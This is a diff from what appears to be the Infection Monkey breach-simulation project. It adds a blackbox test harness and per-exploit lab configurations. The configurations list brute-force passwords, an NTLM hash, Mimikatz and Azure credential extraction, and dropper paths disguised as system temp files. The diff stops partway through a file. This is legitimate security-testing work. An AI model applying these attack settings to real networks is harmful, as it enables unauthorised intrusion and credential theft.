diff --git a/.travis.yml b/.travis.yml
index 963c37fc6..b14482939 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -3,12 +3,6 @@ language: python
cache: pip
python:
- 2.7
- - 3.6
-matrix:
- include:
- - python: 3.7
- dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
- sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 2744fac11..035eb0124 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
-Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
+Are you about to report a bug? Sorry to hear it. Here's our
+[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
-If you want to contribute new code or fix bugs..
+If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
+maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
-Also, please submit PRs to the develop branch.
+Also, please submit PRs to the `develop` branch.
+
+#### Unit tests
+**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
+filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
+
+Please try to read some of the existing unit testing code, so you can see some examples.
+
+#### Branch naming scheme
+**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
+`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.
diff --git a/README.md b/README.md
index 6ab6813ce..67b5b2e8b 100644
--- a/README.md
+++ b/README.md
@@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
- * RDP
* WMI
* Shellshock
* Conficker
diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md
index 92a2fd76e..10027edce 100644
--- a/deployment_scripts/README.md
+++ b/deployment_scripts/README.md
@@ -13,9 +13,10 @@ Don't forget to add python to PATH or do so while installing it via this script.
## Linux
-You must have root permissions, but there is no need to run the script as root.
+You must have root permissions, but don't run the script as root.
Launch deploy_linux.sh from scripts directory.
-First argument is an empty directory (script can create one) and second is branch you want to clone.
+First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
+Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
Example usages:
./deploy_linux.sh (deploys under ./infection_monkey)
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 24a8d3322..07be64612 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 81d6e6732..4df8ba114 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -81,8 +81,7 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
-chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
-chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
+
# Get machine type/kernel version
kernel=`uname -m`
@@ -130,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
+cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
sudo chmod +x ./build.sh || handle_error
./build.sh
diff --git a/envs/__init__.py b/envs/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/.gitignore b/envs/monkey_zoo/.gitignore
new file mode 100644
index 000000000..333c1e910
--- /dev/null
+++ b/envs/monkey_zoo/.gitignore
@@ -0,0 +1 @@
+logs/
diff --git a/envs/monkey_zoo/__init__.py b/envs/monkey_zoo/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md
new file mode 100644
index 000000000..f1b66de91
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/README.md
@@ -0,0 +1,19 @@
+# Automatic blackbox tests
+### Prerequisites
+1. Download google sdk: https://cloud.google.com/sdk/docs/
+2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it).
+GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts)
+3. Deploy the relevant branch + complied executables to the Island machine on GCP.
+
+### Running the tests
+In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find
+this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
+
+#### Running in command line
+Run the following command:
+
+`monkey\envs\monkey_zoo\blackbox>python -m pytest --island=35.207.152.72:5000 test_blackbox.py`
+
+#### Running in PyCharm
+Configure a PyTest configuration with the additional argument `--island=35.207.152.72` on the
+`monkey\envs\monkey_zoo\blackbox`.
diff --git a/envs/monkey_zoo/blackbox/__init__.py b/envs/monkey_zoo/blackbox/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/analyzers/__init__.py b/envs/monkey_zoo/blackbox/analyzers/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py
new file mode 100644
index 000000000..f97418813
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py
@@ -0,0 +1,17 @@
+LOG_INIT_MESSAGE = "Analysis didn't run."
+
+
+class AnalyzerLog(object):
+
+ def __init__(self, analyzer_name):
+ self.contents = LOG_INIT_MESSAGE
+ self.name = analyzer_name
+
+ def clear(self):
+ self.contents = ""
+
+ def add_entry(self, message):
+ self.contents = "{}\n{}".format(self.contents, message)
+
+ def get_contents(self):
+ return "{}: {}\n".format(self.name, self.contents)
diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py
new file mode 100644
index 000000000..491b534b8
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py
@@ -0,0 +1,24 @@
+from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
+
+
+class CommunicationAnalyzer(object):
+
+ def __init__(self, island_client, machine_ips):
+ self.island_client = island_client
+ self.machine_ips = machine_ips
+ self.log = AnalyzerLog(self.__class__.__name__)
+
+ def analyze_test_results(self):
+ self.log.clear()
+ all_monkeys_communicated = True
+ for machine_ip in self.machine_ips:
+ if not self.did_monkey_communicate_back(machine_ip):
+ self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
+ all_monkeys_communicated = False
+ else:
+ self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
+ return all_monkeys_communicated
+
+ def did_monkey_communicate_back(self, machine_ip):
+ query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}}
+ return len(self.island_client.find_monkeys_in_db(query)) > 0
diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py
new file mode 100644
index 000000000..13aabf5b6
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/conftest.py
@@ -0,0 +1,11 @@
+import pytest
+
+
+def pytest_addoption(parser):
+ parser.addoption("--island", action="store", default="",
+ help="Specify the Monkey Island address (host+port).")
+
+
+@pytest.fixture(scope='module')
+def island(request):
+ return request.config.getoption("--island")
diff --git a/envs/monkey_zoo/blackbox/island_client/__init__.py b/envs/monkey_zoo/blackbox/island_client/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py
new file mode 100644
index 000000000..948b58310
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py
@@ -0,0 +1,18 @@
+import json
+import os
+
+
+class IslandConfigParser(object):
+
+ def __init__(self, config_filename):
+ self.config_raw = open(IslandConfigParser.get_conf_file_path(config_filename), 'r').read()
+ self.config_json = json.loads(self.config_raw)
+
+ def get_ips_of_targets(self):
+ return self.config_json['basic_network']['general']['subnet_scan_list']
+
+ @staticmethod
+ def get_conf_file_path(conf_file_name):
+ return os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
+ "island_configs",
+ conf_file_name)
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
new file mode 100644
index 000000000..479c41bab
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
@@ -0,0 +1,87 @@
+from time import sleep
+import json
+
+import logging
+from bson import json_util
+
+from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
+
+SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
+MONKEY_TEST_ENDPOINT = 'api/test/monkey'
+LOG_TEST_ENDPOINT = 'api/test/log'
+LOGGER = logging.getLogger(__name__)
+
+
+def avoid_race_condition(func):
+ sleep(SLEEP_BETWEEN_REQUESTS_SECONDS)
+ return func
+
+
+class MonkeyIslandClient(object):
+ def __init__(self, server_address):
+ self.requests = MonkeyIslandRequests(server_address)
+
+ def get_api_status(self):
+ return self.requests.get("api")
+
+ @avoid_race_condition
+ def import_config(self, config_contents):
+ _ = self.requests.post("api/configuration/island", data=config_contents)
+
+ @avoid_race_condition
+ def run_monkey_local(self):
+ response = self.requests.post_json("api/local-monkey", dict_data={"action": "run"})
+ if MonkeyIslandClient.monkey_ran_successfully(response):
+ LOGGER.info("Running the monkey.")
+ else:
+ LOGGER.error("Failed to run the monkey.")
+ assert False
+
+ @staticmethod
+ def monkey_ran_successfully(response):
+ return response.ok and json.loads(response.content)['is_running']
+
+ @avoid_race_condition
+ def kill_all_monkeys(self):
+ if self.requests.get("api", {"action": "killall"}).ok:
+ LOGGER.info("Killing all monkeys after the test.")
+ else:
+ LOGGER.error("Failed to kill all monkeys.")
+ assert False
+
+ @avoid_race_condition
+ def reset_env(self):
+ if self.requests.get("api", {"action": "reset"}).ok:
+ LOGGER.info("Resetting environment after the test.")
+ else:
+ LOGGER.error("Failed to reset the environment.")
+ assert False
+
+ def find_monkeys_in_db(self, query):
+ if query is None:
+ raise TypeError
+ response = self.requests.get(MONKEY_TEST_ENDPOINT,
+ MonkeyIslandClient.form_find_query_for_request(query))
+ return MonkeyIslandClient.get_test_query_results(response)
+
+ def get_all_monkeys_from_db(self):
+ response = self.requests.get(MONKEY_TEST_ENDPOINT,
+ MonkeyIslandClient.form_find_query_for_request(None))
+ return MonkeyIslandClient.get_test_query_results(response)
+
+ def find_log_in_db(self, query):
+ response = self.requests.get(LOG_TEST_ENDPOINT,
+ MonkeyIslandClient.form_find_query_for_request(query))
+ return MonkeyIslandClient.get_test_query_results(response)
+
+ @staticmethod
+ def form_find_query_for_request(query):
+ return {'find_query': json_util.dumps(query)}
+
+ @staticmethod
+ def get_test_query_results(response):
+ return json.loads(response.content)['results']
+
+ def is_all_monkeys_dead(self):
+ query = {'dead': False}
+ return len(self.find_monkeys_in_db(query)) == 0
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
new file mode 100644
index 000000000..e62cb2121
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
@@ -0,0 +1,49 @@
+import requests
+
+# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
+import logging
+
+NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
+ '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
+LOGGER = logging.getLogger(__name__)
+
+
+class MonkeyIslandRequests(object):
+ def __init__(self, server_address):
+ self.addr = "https://{IP}/".format(IP=server_address)
+ self.token = self.try_get_jwt_from_server()
+
+ def try_get_jwt_from_server(self):
+ try:
+ return self.get_jwt_from_server()
+ except requests.ConnectionError as err:
+ LOGGER.error(
+ "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
+ assert False
+
+ def get_jwt_from_server(self):
+ resp = requests.post(self.addr + "api/auth",
+ json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
+ verify=False)
+ return resp.json()["access_token"]
+
+ def get(self, url, data=None):
+ return requests.get(self.addr + url,
+ headers=self.get_jwt_header(),
+ params=data,
+ verify=False)
+
+ def post(self, url, data):
+ return requests.post(self.addr + url,
+ data=data,
+ headers=self.get_jwt_header(),
+ verify=False)
+
+ def post_json(self, url, dict_data):
+ return requests.post(self.addr + url,
+ json=dict_data,
+ headers=self.get_jwt_header(),
+ verify=False)
+
+ def get_jwt_header(self):
+ return {"Authorization": "JWT " + self.token}
diff --git a/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf b/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf
new file mode 100644
index 000000000..0a81ea700
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/ELASTIC.conf
@@ -0,0 +1,184 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.4",
+ "10.2.2.5"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "ElasticGroovyExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf
new file mode 100644
index 000000000..1b55557a9
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/HADOOP.conf
@@ -0,0 +1,186 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.3",
+ "10.2.2.10"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "HadoopExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [
+ "e1c0dc690821c13b10a41dccfc72e43a"
+ ],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf b/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf
new file mode 100644
index 000000000..dc3332ed6
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/MSSQL.conf
@@ -0,0 +1,183 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "Xk8VDTsC",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.16"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "MSSQLExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf
new file mode 100644
index 000000000..7fd857e65
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf
@@ -0,0 +1,183 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.38"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "ShellShockExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
